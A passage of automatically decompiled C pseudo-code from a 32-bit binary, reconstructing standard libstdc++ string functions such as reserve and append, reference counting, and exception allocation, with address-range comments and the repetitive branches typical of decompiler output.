(int32_t)a1; int32_t v3 = *(int32_t *)(*a1 - 12); // 0x809c910 int32_t v4; std__string___M_replace_aux(a1, (int32_t **)g2, v3, 1, (char)(0x1000000 * (int32_t)a2 / 0x1000000), v2, (int32_t *)v1, v4, a1, a2); int32_t result = g98; // 0x809c927 g98 = v2; g100 = v1; return result; } // Address range: 0x809cc8e - 0x809ccd7 int32_t std__string___M_leak_hard(int32_t * a1) { int32_t v1 = g98; // 0x809cc91 g98 = (int32_t)a1; int32_t v2 = *a1; // 0x809cc98 if (v2 == 0x8134ee8) { // 0x809ccd1 g98 = v1; return 0x8134ee8; } // 0x809cca1 int32_t result; // 0x809ccd6_11 if (*(int32_t *)(v2 - 4) >= 1) { struct struct_18 * v3 = g2; // 0x809ccc3_4 int32_t v4 = (int32_t)v3; // 0x809ccc3 std__string___M_mutate((int32_t **)a1, (int32_t **)v3, v4, v4); result = *(int32_t *)g98; // branch -> 0x809ccca } else { result = v2; } // 0x809ccca *(int32_t *)(result - 4) = -1; // branch -> 0x809ccd1 // 0x809ccd1 g98 = v1; return result; } // Address range: 0x809cdb0 - 0x809cdd5 int32_t std__string__operator_lsb__rsb__663(int32_t * a1, int32_t a2) { int32_t v1 = g98; // 0x809cdb3 g98 = (int32_t)a1; int32_t v2 = *a1; // 0x809cdba int32_t v3; // 0x809cdcd if (*(int32_t *)(v2 - 4) >= 0) { // 0x809cdc3 std__string___M_leak_hard(a1); v3 = *(int32_t *)g98; // branch -> 0x809cdcd } else { v3 = v2; } // 0x809cdcd g98 = v1; return v3 + a2; } // Address range: 0x809cf36 - 0x809d05f int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666(int32_t ** a1) { int32_t v1 = g100; // 0x809cf36 int32_t v2 = g98; // 0x809cf3a int32_t * v3; // 0x809d03a_31 uint32_t v4; // 0x809d026 int32_t v5; // 0x809d03a int32_t * v6; int32_t v7; // 0x809cf4a int32_t v8; // 0x809cf4c if (g27 != 0) { // 0x809cf36 // branch -> 0x809cf47 // 0x809cf47 g95 = (int32_t)a1; v7 = *(int32_t *)a1; v8 = v7 - 12; g98 = v8; if (v8 == 0x8134edc) { // 0x809cf5e std__allocator_lt_char_gt_(); g98 = v2; g100 = (int32_t)(int32_t *)v1; return (int32_t)(int32_t *)v7; } // 0x809d018 v4 = __gnu_cxx____exchange_and_add((int32_t *)(v7 - 4), -1); if (v4 <= 0) { // 0x809d033 v5 = std__string___Rep___M_destroy((int32_t *)g98); v6 = (int32_t *)0x809d03f; v3 = (int32_t *)v5; // branch -> 0x809cf5e } else { v6 = (int32_t *)0x809d02b; v3 = (int32_t *)v4; } // 0x809cf5e std__allocator_lt_char_gt_(); g98 = v2; g100 = (int32_t)v6; return (int32_t)v3; } int32_t v9 = (int32_t)a1; // 0x809cf74 int32_t * v10; if (__cxa_guard_acquire((char *)0x8132c08, v9, 0, 0, 0, 0, 0, 0, 0) != 0) { // 0x809cf7d g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); v10 = (int32_t *)0x809d013; // branch -> 0x809cf47 } else { v10 = (int32_t *)0x809cf79; } // 0x809cf47 g95 = v9; v7 = *(int32_t *)a1; v8 = v7 - 12; g98 = v8; if (v8 == 0x8134edc) { // 0x809cf5e std__allocator_lt_char_gt_(); g98 = v2; g100 = (int32_t)v10; return (int32_t)(int32_t *)v7; } // 0x809d018 v4 = __gnu_cxx____exchange_and_add((int32_t *)(v7 - 4), -1); if (v4 <= 0) { // 0x809d033 v5 = std__string___Rep___M_destroy((int32_t *)g98); v6 = (int32_t *)0x809d03f; v3 = (int32_t *)v5; // branch -> 0x809cf5e } else { v6 = (int32_t *)0x809d02b; v3 = (int32_t *)v4; } // 0x809cf5e std__allocator_lt_char_gt_(); g98 = v2; g100 = (int32_t)v6; return (int32_t)v3; } // Address range: 0x809d060 - 0x809d1d3 int32_t std__string__reserve(int32_t ** a1, int32_t * a2) { int32_t v1 = g102; // 0x809d063 int32_t v2 = g101; // 0x809d064 int32_t v3 = g98; // 0x809d065 uint32_t v4 = (int32_t)a2; // 0x809d069 g98 = v4; int32_t v5 = (int32_t)a1; // 0x809d06c int32_t v6 = *(int32_t *)a1; // 0x809d06f int32_t * v7 = (int32_t *)v6; // 0x809d06f_1 int32_t ** v8; // 0x809d1b0_03 int32_t v9; int32_t v10; // 0x809d086 int32_t v11; // 0x809d0a4 int32_t v12; // 0x809d086 int32_t v13; // 0x809d0a6 uint32_t v14; // 0x809d076 if (*(int32_t *)(v6 - 8) == v4) { uint32_t v15 = *(int32_t *)(v6 - 4); // 0x809d0ec g101 = v15; if (v15 <= 0) { // 0x809d0c2 g98 = v3; g101 = v2; g102 = v1; return (int32_t)v7; } // 0x809d076 v14 = *(int32_t *)(v6 - 12); if (v4 < v14) { // 0x809d0ca g98 = v14; if (g27 != 0) { // 0x809d086 v12 = (int32_t)v7 - 12; v10 = g98 - *(int32_t *)v12; g98 = v10; g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0); v11 = *(int32_t *)a1; v13 = v11 - 12; g98 = v13; v8 = a1; if (v13 != 0x8134edc) { // 0x809d195 if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) { // 0x809d1b0 std__string___Rep___M_destroy((int32_t *)g98); v8 = (int32_t **)g101; // branch -> 0x809d0b5 } else { v8 = (int32_t **)-1; } } // 0x809d0b5 *v8 = (int32_t *)g102; std__allocator_lt_char_gt_(); // branch -> 0x809d0c2 // 0x809d0c2 g98 = v3; g101 = v2; g102 = v1; return (int32_t)(int32_t *)v8; } } else { // 0x809d07d if (g27 != 0) { // 0x809d086 v12 = (int32_t)v7 - 12; v10 = g98 - *(int32_t *)v12; g98 = v10; g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0); v11 = *(int32_t *)a1; v13 = v11 - 12; g98 = v13; v8 = a1; if (v13 != 0x8134edc) { // 0x809d195 if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) { // 0x809d1b0 std__string___Rep___M_destroy((int32_t *)g98); v8 = (int32_t **)g101; // branch -> 0x809d0b5 } else { v8 = (int32_t **)-1; } } // 0x809d0b5 *v8 = (int32_t *)g102; std__allocator_lt_char_gt_(); // branch -> 0x809d0c2 // 0x809d0c2 g98 = v3; g101 = v2; g102 = v1; return (int32_t)(int32_t *)v8; } } // 0x809d0d5 if (__cxa_guard_acquire((char *)0x8132c08, v5, v4, 0, 0, 0, 0, 0, 0) == 0) { // 0x809d0e5 // branch -> 0x809d086 } else { // 0x809d0f5 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x809d086 } // 0x809d086 v12 = (int32_t)(int32_t *)*(int32_t *)a1 - 12; v10 = g98 - *(int32_t *)v12; g98 = v10; g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0); v11 = *(int32_t *)a1; v13 = v11 - 12; g98 = v13; v8 = a1; if (v13 != 0x8134edc) { // 0x809d195 if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) { // 0x809d1b0 std__string___Rep___M_destroy((int32_t *)g98); v8 = (int32_t **)g101; // branch -> 0x809d0b5 } else { v8 = (int32_t **)-1; } } // 0x809d0b5 *v8 = (int32_t *)g102; std__allocator_lt_char_gt_(); // branch -> 0x809d0c2 // 0x809d0c2 g98 = v3; g101 = v2; g102 = v1; return (int32_t)(int32_t *)v8; } // 0x809d076 v14 = *(int32_t *)(v6 - 12); if (v4 >= v14) { // 0x809d07d if (g27 != 0) { // 0x809d086 v12 = (int32_t)v7 - 12; v10 = g98 - *(int32_t *)v12; g98 = v10; g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0); v11 = *(int32_t *)a1; v13 = v11 - 12; g98 = v13; v8 = a1; if (v13 != 0x8134edc) { // 0x809d195 if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) { // 0x809d1b0 std__string___Rep___M_destroy((int32_t *)g98); v8 = (int32_t **)g101; // branch -> 0x809d0b5 } else { v8 = (int32_t **)-1; } } // 0x809d0b5 *v8 = (int32_t *)g102; std__allocator_lt_char_gt_(); // branch -> 0x809d0c2 // 0x809d0c2 g98 = v3; g101 = v2; g102 = v1; return (int32_t)(int32_t *)v8; } // 0x809d0d5 if (__cxa_guard_acquire((char *)0x8132c08, v5, v4, 0, 0, 0, 0, 0, 0) == 0) { // 0x809d0e5 // branch -> 0x809d086 } else { // 0x809d0f5 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x809d086 } // 0x809d086 v12 = (int32_t)(int32_t *)*(int32_t *)a1 - 12; v10 = g98 - *(int32_t *)v12; g98 = v10; g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0); v11 = *(int32_t *)a1; v13 = v11 - 12; g98 = v13; v8 = a1; if (v13 != 0x8134edc) { // 0x809d195 if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) { // 0x809d1b0 std__string___Rep___M_destroy((int32_t *)g98); v8 = (int32_t **)g101; // branch -> 0x809d0b5 } else { v8 = (int32_t **)-1; } } // 0x809d0b5 *v8 = (int32_t *)g102; std__allocator_lt_char_gt_(); // branch -> 0x809d0c2 // 0x809d0c2 g98 = v3; g101 = v2; g102 = v1; return (int32_t)(int32_t *)v8; } // 0x809d0ca g98 = v14; if (g27 != 0) { // 0x809d086 v12 = (int32_t)v7 - 12; v10 = g98 - *(int32_t *)v12; g98 = v10; g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0); v11 = *(int32_t *)a1; v13 = v11 - 12; g98 = v13; v8 = a1; if (v13 != 0x8134edc) { // 0x809d195 if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) { // 0x809d1b0 std__string___Rep___M_destroy((int32_t *)g98); v8 = (int32_t **)g101; // branch -> 0x809d0b5 } else { v8 = (int32_t **)-1; } } // 0x809d0b5 *v8 = (int32_t *)g102; std__allocator_lt_char_gt_(); // branch -> 0x809d0c2 // 0x809d0c2 g98 = v3; g101 = v2; g102 = v1; return (int32_t)(int32_t *)v8; } // 0x809d0d5 if (__cxa_guard_acquire((char *)0x8132c08, v5, v4, 0, 0, 0, 0, 0, 0) == 0) { // 0x809d0e5 // branch -> 0x809d086 } else { // 0x809d0f5 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x809d086 } // 0x809d086 v12 = (int32_t)(int32_t *)*(int32_t *)a1 - 12; v10 = g98 - *(int32_t *)v12; g98 = v10; g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0); v11 = *(int32_t *)a1; v13 = v11 - 12; g98 = v13; v8 = a1; if (v13 != 0x8134edc) { // 0x809d195 if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) { // 0x809d1b0 std__string___Rep___M_destroy((int32_t *)g98); v8 = (int32_t **)g101; // branch -> 0x809d0b5 } else { v8 = (int32_t **)-1; } } // 0x809d0b5 *v8 = (int32_t *)g102; std__allocator_lt_char_gt_(); // branch -> 0x809d0c2 // 0x809d0c2 g98 = v3; g101 = v2; g102 = v1; return (int32_t)(int32_t *)v8; } // Address range: 0x809d226 - 0x809d2bf int32_t std__string__append(int32_t * a1, int32_t a2, char a3) { int32_t v1 = g102; // 0x809d229 int32_t v2 = g101; // 0x809d22a int32_t v3 = g98; // 0x809d22b int32_t result = (int32_t)a1; // 0x809d22f g101 = result; g102 = a2; g95 = a3; if (a2 == 0) { // 0x809d29e g98 = v3; g101 = v2; g102 = v1; return result; } int32_t v4 = *a1; // 0x809d240 int32_t v5 = *(int32_t *)(v4 - 12); // 0x809d242 if (0x3ffffffc - v5 < a2) { // 0x809d2ac std____throw_length_error("basic_string::append", result, a2, (int32_t)a3); return g95; } int32_t v6 = v5 + a2; // 0x809d250 g98 = v6; int32_t v7; // 0x809d26f int32_t v8; // 0x809d272 int32_t v9; // 0x809d26d int32_t result2; // 0x809d29e int32_t v10; // 0x809d28e int32_t v11; // 0x809d27b if (v6 > *(int32_t *)(v4 - 8)) { // 0x809d25f std__string__reserve((int32_t **)a1, (int32_t *)v6); v11 = g102; v9 = *(int32_t *)g101; // branch -> 0x809d26d // 0x809d26d v7 = *(int32_t *)(v9 - 12) + v9; v8 = a3; g97 = v8; if (v11 == 1) { // 0x809d2a8 *(char *)v7 = a3; // branch -> 0x809d28e } else { // 0x809d27b memset((int32_t *)v7, v8, v11); // branch -> 0x809d28e } // 0x809d28e v10 = *(int32_t *)g101; g95 = v10; *(int32_t *)(v10 - 4) = 0; *(int32_t *)(g95 - 12) = g98; *(char *)(g98 + g95) = 0; result2 = g101; // branch -> 0x809d29e // 0x809d29e g98 = v3; g101 = v2; g102 = v1; return result2; } // 0x809d258 if (*(int32_t *)(v4 - 4) >= 1) { // 0x809d25f std__string__reserve((int32_t **)a1, (int32_t *)v6); v11 = g102; v9 = *(int32_t *)g101; // branch -> 0x809d26d } else { v11 = a2; v9 = v4; } // 0x809d26d v7 = *(int32_t *)(v9 - 12) + v9; v8 = a3; g97 = v8; if (v11 == 1) { // 0x809d2a8 *(char *)v7 = a3; // branch -> 0x809d28e } else { // 0x809d27b memset((int32_t *)v7, v8, v11); // branch -> 0x809d28e } // 0x809d28e v10 = *(int32_t *)g101; g95 = v10; *(int32_t *)(v10 - 4) = 0; *(int32_t *)(g95 - 12) = g98; *(char *)(g98 + g95) = 0; result2 = g101; // branch -> 0x809d29e // 0x809d29e g98 = v3; g101 = v2; g102 = v1; return result2; } // Address range: 0x809d370 - 0x809d429 int32_t std__string__append_668(int32_t * a1, uint32_t a2, uint32_t a3) { int32_t v1 = g101; // 0x809d374 int32_t v2 = g98; // 0x809d375 int32_t result = (int32_t)a1; // 0x809d379 g101 = result; g98 = a2; g95 = a3; if (a3 == 0) { // 0x809d3d5 g98 = v2; g101 = v1; return result; } uint32_t v3 = *a1; // 0x809d386 int32_t v4 = *(int32_t *)(v3 - 12); // 0x809d388 if (0x3ffffffc - v4 < a3) { // 0x809d41d std____throw_length_error("basic_string::append", result, a2, a3); return g95; } int32_t v5 = v4 + a3; // 0x809d39e g102 = v5; int32_t v6; // 0x809d3b7 int32_t result2; // 0x809d3d5 int32_t v7; // 0x809d3c5 int32_t v8; // 0x809d416 int32_t v9; // 0x809d3b7 if (v5 > *(int32_t *)(v3 - 8)) { // 0x809d3a5 if (v3 <= a2) { // 0x809d401 if (v4 + v3 >= a2) { // 0x809d408 g98 = a2 - v3; std__string__reserve((int32_t **)a1, (int32_t *)v5); v8 = *(int32_t *)g101; g98 += v8; v9 = v8; // branch -> 0x809d3b7 // 0x809d3b7 v6 = *(int32_t *)(v9 - 12) + v9; g97 = v6; if (a3 == 1) { // 0x809d3c0 *(char *)v6 = *(char *)g98; // branch -> 0x809d3c5 } else { // 0x809d3ec memcpy((int32_t *)v6, (int32_t *)g98, a3); // branch -> 0x809d3c5 } // 0x809d3c5 v7 = *(int32_t *)g101; g95 = v7; *(int32_t *)(v7 - 4) = 0; *(int32_t *)(g95 - 12) = g102; *(char *)(g102 + g95) = 0; result2 = g101; // branch -> 0x809d3d5 // 0x809d3d5 g98 = v2; g101 = v1; return result2; } } // 0x809d3a9 std__string__reserve((int32_t **)a1, (int32_t *)v5); v9 = *(int32_t *)g101; // branch -> 0x809d3b7 // 0x809d3b7 v6 = *(int32_t *)(v9 - 12) + v9; g97 = v6; if (a3 == 1) { // 0x809d3c0 *(char *)v6 = *(char *)g98; // branch -> 0x809d3c5 } else { // 0x809d3ec memcpy((int32_t *)v6, (int32_t *)g98, a3); // branch -> 0x809d3c5 } // 0x809d3c5 v7 = *(int32_t *)g101; g95 = v7; *(int32_t *)(v7 - 4) = 0; *(int32_t *)(g95 - 12) = g102; *(char *)(g102 + g95) = 0; result2 = g101; // branch -> 0x809d3d5 // 0x809d3d5 g98 = v2; g101 = v1; return result2; } // 0x809d3df if (*(int32_t *)(v3 - 4) >= 1) { // 0x809d3e6 if (v3 <= a2) { // 0x809d401 if (v4 + v3 >= a2) { // 0x809d408 g98 = a2 - v3; std__string__reserve((int32_t **)a1, (int32_t *)v5); v8 = *(int32_t *)g101; g98 += v8; v9 = v8; // branch -> 0x809d3b7 // 0x809d3b7 v6 = *(int32_t *)(v9 - 12) + v9; g97 = v6; if (a3 == 1) { // 0x809d3c0 *(char *)v6 = *(char *)g98; // branch -> 0x809d3c5 } else { // 0x809d3ec memcpy((int32_t *)v6, (int32_t *)g98, a3); // branch -> 0x809d3c5 } // 0x809d3c5 v7 = *(int32_t *)g101; g95 = v7; *(int32_t *)(v7 - 4) = 0; *(int32_t *)(g95 - 12) = g102; *(char *)(g102 + g95) = 0; result2 = g101; // branch -> 0x809d3d5 // 0x809d3d5 g98 = v2; g101 = v1; return result2; } } // 0x809d3a9 std__string__reserve((int32_t **)a1, (int32_t *)v5); v9 = *(int32_t *)g101; // branch -> 0x809d3b7 } else { v9 = v3; } // 0x809d3b7 v6 = *(int32_t *)(v9 - 12) + v9; g97 = v6; if (a3 == 1) { // 0x809d3c0 *(char *)v6 = *(char *)g98; // branch -> 0x809d3c5 } else { // 0x809d3ec memcpy((int32_t *)v6, (int32_t *)g98, a3); // branch -> 0x809d3c5 } // 0x809d3c5 v7 = *(int32_t *)g101; g95 = v7; *(int32_t *)(v7 - 4) = 0; *(int32_t *)(g95 - 12) = g102; *(char *)(g102 + g95) = 0; result2 = g101; // branch -> 0x809d3d5 // 0x809d3d5 g98 = v2; g101 = v1; return result2; } // Address range: 0x809d42a - 0x809d45d int32_t std__string__append_669(int32_t * a1, int32_t a2) { // 0x809d42a g97 = a2; int32_t len = strlen((char *)a2); // 0x809d43e return std__string__append_668(a1, g97, 0x1000000 * len / 0x1000000); } // Address range: 0x809d52c - 0x809d5a3 int32_t std__string__append_671(int32_t * a1, int32_t * a2) { int32_t v1 = g102; // 0x809d52f int32_t v2 = g101; // 0x809d530 int32_t v3 = g98; // 0x809d531 int32_t result = (int32_t)a1; // 0x809d535 g101 = result; int32_t v4 = *a2; // 0x809d53b int32_t v5 = *(int32_t *)(v4 - 12); // 0x809d53d g98 = v5; if (v5 == 0) { // 0x809d592 g98 = v3; g101 = v2; g102 = v1; return result; } int32_t v6 = *a1; // 0x809d544 int32_t v7 = *(int32_t *)(v6 - 12) + v5; // 0x809d548 g102 = v7; int32_t v8; // 0x809d56a int32_t v9; int32_t result2; // 0x809d592 int32_t v10; // 0x809d582 int32_t v11; // 0x809d56a int32_t v12; // 0x809d572 int32_t v13; // 0x809d576 if (v7 > *(int32_t *)(v6 - 8)) { // 0x809d557 std__string__reserve((int32_t **)a1, (int32_t *)v7); v13 = *a2; v12 = g98; v11 = *(int32_t *)g101; // branch -> 0x809d56a // 0x809d56a v8 = *(int32_t *)(v11 - 12) + v11; if (v12 == 1) { // 0x809d59c *(char *)v8 = *(char *)v13; // branch -> 0x809d582 } else { // 0x809d572 memcpy((int32_t *)v8, (int32_t *)v13, v12); // branch -> 0x809d582 } // 0x809d582 v10 = *(int32_t *)g101; v9 = v10; *(int32_t *)(v10 - 4) = 0; *(int32_t *)(v9 - 12) = g102; *(char *)(g102 + v9) = 0; result2 = g101; // branch -> 0x809d592 // 0x809d592 g98 = v3; g101 = v2; g102 = v1; return result2; } // 0x809d550 if (*(int32_t *)(v6 - 4) >= 1) { // 0x809d557 std__string__reserve((int32_t **)a1, (int32_t *)v7); v13 = *a2; v12 = g98; v11 = *(int32_t *)g101; // branch -> 0x809d56a } else { v13 = v4; v12 = v5; v11 = v6; } // 0x809d56a v8 = *(int32_t *)(v11 - 12) + v11; if (v12 == 1) { // 0x809d59c *(char *)v8 = *(char *)v13; // branch -> 0x809d582 } else { // 0x809d572 memcpy((int32_t *)v8, (int32_t *)v13, v12); // branch -> 0x809d582 } // 0x809d582 v10 = *(int32_t *)g101; v9 = v10; *(int32_t *)(v10 - 4) = 0; *(int32_t *)(v9 - 12) = g102; *(char *)(g102 + v9) = 0; result2 = g101; // branch -> 0x809d592 // 0x809d592 g98 = v3; g101 = v2; g102 = v1; return result2; } // Address range: 0x809d87c - 0x809d87f void std__string__operator_eq__675(void) { // 0x809d87c return; } // Address range: 0x809dd6e - 0x809debf int32_t std__string___S_construct_lt_char_const__ptr__gt_(char * a1, char * a2, struct struct_97 * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) { int32_t v1 = g100; // 0x809dd6e int32_t v2 = g102; // 0x809dd71 int32_t v3 = g101; // 0x809dd72 int32_t v4 = g98; // 0x809dd73 int32_t v5 = (int32_t)a1; // 0x809dd77 g102 = v5; int32_t v6 = (int32_t)a2; // 0x809dd7a g95 = v6; int32_t v7; if (a1 != a2) { // 0x809dd81 if (a1 == NULL) { // 0x809deb8 v7 = (int32_t)"basic_string::_S_construct NULL not valid"; std____throw_logic_error("basic_string::_S_construct NULL not valid", 0, 0, 0); return g95; } int32_t v8 = v6 - v5; // 0x809dd8b g101 = v8; int32_t v9 = std__string___Rep___S_create(&((struct struct_97 *)v8)->e0, &g2->e0); // 0x809dd9f int32_t v10 = v9 + 12; // 0x809dda6 struct struct_97 * v11 = (struct struct_97 *)v10; // 0x809dda9_0 if (g101 == 1) { // 0x809dddf *(char *)v10 = *(char *)g102; // branch -> 0x809ddc4 } else { // 0x809ddb1 memcpy(&v11->e0, &((struct struct_98 *)g102)->e0, g101); // branch -> 0x809ddc4 } // 0x809ddc4 ((struct struct_99 *)v9)->e2 = 0; *(int32_t *)v9 = g101; int32_t v12 = (int32_t)v11; // 0x809ddcd g95 = v12; *(char *)(v12 + g101) = 0; g98 = v4; g101 = v3; g102 = v2; g100 = v1; return (int32_t)v11; } void (*v13)(); if (g27 == 0) { // 0x809de0d v7 = 0x8132c08; if (__cxa_guard_acquire((char *)&v7, 0, 0, 0, 0, 0, 0, 0, 0) != 0) { // 0x809de1d g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v7 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v7 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v13 = (void (*)())0x809deb3; // branch -> 0x809ddf0 } else { v13 = (void (*)())0x809de19; } } // 0x809ddf0 std__allocator_lt_char_gt_(); int32_t v14; g98 = v14; int32_t v15; g101 = v15; int32_t v16; g102 = v16; g100 = (int32_t)v13; return 0x8134ee8; } // Address range: 0x809e09e - 0x809e18b int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7) { // 0x809e09e int32_t v1; int32_t v2 = v1; int32_t v3 = g100; // 0x809e09e int32_t v4 = g98; // 0x809e0a1 int32_t v5 = a4; // bp-20 int32_t v6 = a3 + a2; // 0x809e0b6 g97 = v6; int32_t v7 = a2; // bp-28 int32_t v8 = std__string___S_construct_lt_char_const__ptr__gt_((char *)&v7, (char *)&v6, (struct struct_97 *)&v5, 0x1000000 * a2 / 0x1000000, 0, v4, v3, v1); // 0x809e0bf g98 = v8; int32_t * v9; int32_t v10; // 0x809e0d2 if (g27 == 0) { // 0x809e0da v2 = 0x8132c08; int32_t result = (int32_t)a1; // 0x809e0e1 if (__cxa_guard_acquire((char *)&v2, result, a2, a3, a4, a5, a6, a7, 0) != 0) { // 0x809e0ea g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v2 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v2 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); *a1 = g98; g98 = a5; g100 = a6; return result; } v10 = g98; v9 = (int32_t *)0x809e0e6; // branch -> 0x809e0cf } else { // 0x809e09e v10 = v8; v9 = (int32_t *)v3; // branch -> 0x809e0cf } // 0x809e0cf *a1 = v10; g98 = v4; g100 = (int32_t)v9; return (int32_t)a1; } // Address range: 0x809e8f0 - 0x809e9ef int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) { int32_t v1 = g100; // 0x809e8f0 int32_t v2 = g102; // 0x809e8f3 g97 = a2; g96 = -1; int32_t v3 = 0; // 0x809e921 int32_t v4 = -1; // 0x809e91d if (a2 != 0) { // 0x809e903 g95 = 0; int32_t v5 = g97; // 0x809e90f int32_t v6 = v5 + strlen((char *)a2); // 0x809e90f g96 = v6; v3 = v5; v4 = v6; // branch -> 0x809e912 } int32_t v7 = a3; // bp-20 int32_t v8; int32_t v9 = std__string___S_construct_lt_char_const__ptr__gt_((char *)&v3, (char *)&v4, (struct struct_97 *)&v7, 0x1000000 * g95 / 0x1000000, 0, v2, v1, v8); // 0x809e924 g102 = v9; int32_t * v10; int32_t v11; // 0x809e937 if (g27 == 0) { // 0x809e93f v8 = 0x8132c08; int32_t result = (int32_t)a1; // 0x809e946 int32_t v12; int32_t v13 = __cxa_guard_acquire((char *)&v8, result, a2, a3, a4, a5, a6, v12, 0); // 0x809e946 if (v13 != 0) { // 0x809e94f g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v8 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v8 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); *a1 = g102; g102 = a5; g100 = a6; return result; } v11 = g102; v10 = (int32_t *)0x809e94b; // branch -> 0x809e934 } else { // 0x809e912 v11 = v9; v10 = (int32_t *)v1; // branch -> 0x809e934 } // 0x809e934 *a1 = v11; g102 = v2; g100 = (int32_t)v10; return (int32_t)a1; } // Address range: 0x809eadc - 0x809eaeb int32_t __gnu_cxx____exchange_and_add(int32_t * a1, int32_t a2) { // 0x809eadc g97 = (int32_t)a1; g95 = a2; int32_t result = *a1; // 0x809eae6 *a1 = result + a2; return result; } // Address range: 0x809eaec - 0x809eafb int32_t __gnu_cxx____atomic_add(int32_t * a1, int32_t a2) { // 0x809eaec *a1 = *a1 + a2; return (int32_t)a1; } // Address range: 0x809eafc - 0x809eb22 int32_t _ZdlPv(int32_t * a1) { // 0x809eafc v1(); if (a1 != NULL) { // 0x809eb15 free(a1); // branch -> 0x809eb1d } // 0x809eb1d return (int32_t)a1; } // Address range: 0x809eb23 - 0x809eb27 int32_t __i686_get_pc_thunk_bx(void) { // 0x809eb23 int32_t result; return result; } // Address range: 0x809ec00 - 0x809ed06 int32_t __cxa_allocate_exception(int32_t * a1, int32_t a2) { struct struct_45 * v1 = NULL; int32_t (*v2)() = (int32_t (*)())g100; // 0x809ec00_0 int32_t v3 = g102; // 0x809ec03 int32_t v4 = g101; // 0x809ec04 int32_t v5 = g98; // 0x809ec05 g98 = __i686_get_pc_thunk_bx() + 0x92aea; int32_t v6 = (int32_t)a1; // 0x809ec14 int32_t v7 = v6 + 80; // 0x809ec17 g102 = v7; __libc_malloc((int32_t *)v7, 0, 0); int32_t v8 = g95; // 0x809ec22 g101 = v8; int32_t * v9; // 0x809ec65_0 int32_t v10; // 0x809ec81 if (v8 != 0) { // 0x809ec5c v9 = (int32_t *)(__cxa_get_globals(v7, 0, 0, 0, 0) + 4); *v9 = *v9 + 1; memset((int32_t *)g101, (int32_t)g2, 80); v10 = g101; g98 = v5; g101 = v4; g102 = v3; g100 = v2; return v10 + 80; } int32_t v11 = g98; // 0x809ec28 int32_t v12 = *(int32_t *)(v11 + 1656); // 0x809ec28 int32_t (*v13)(); struct struct_45 * v14; // 0x809ecc5_0 struct struct_45 * v15; // 0x809ecf1_4 int32_t v16; // 0x809eca9 int32_t v17; // 0x809ec3e if (v12 == 0) { // 0x809ec3e v17 = *(int32_t *)(v11 + 0x37f4); g97 = v17; if (g102 >= 513) { // 0x809ec4c g101 = 0; // branch -> 0x809ec54 // 0x809ec54 // branch -> 0x809ecf1 // 0x809ecf1 v15 = (struct struct_45 *)std__terminate((int32_t)v1); if (g97 == -1) { // 0x809ecf1 // branch -> 0x809ed03 } else { // 0x809ecfb _Unwind_Resume(&v15->e0, a1, &a2); // branch -> 0x809ed03 } // 0x809ed03 __cxa_call_unexpected(&v15->e0, v6, a2); return g95; } v16 = v11; v13 = v2; } else { int32_t v18 = v11 + 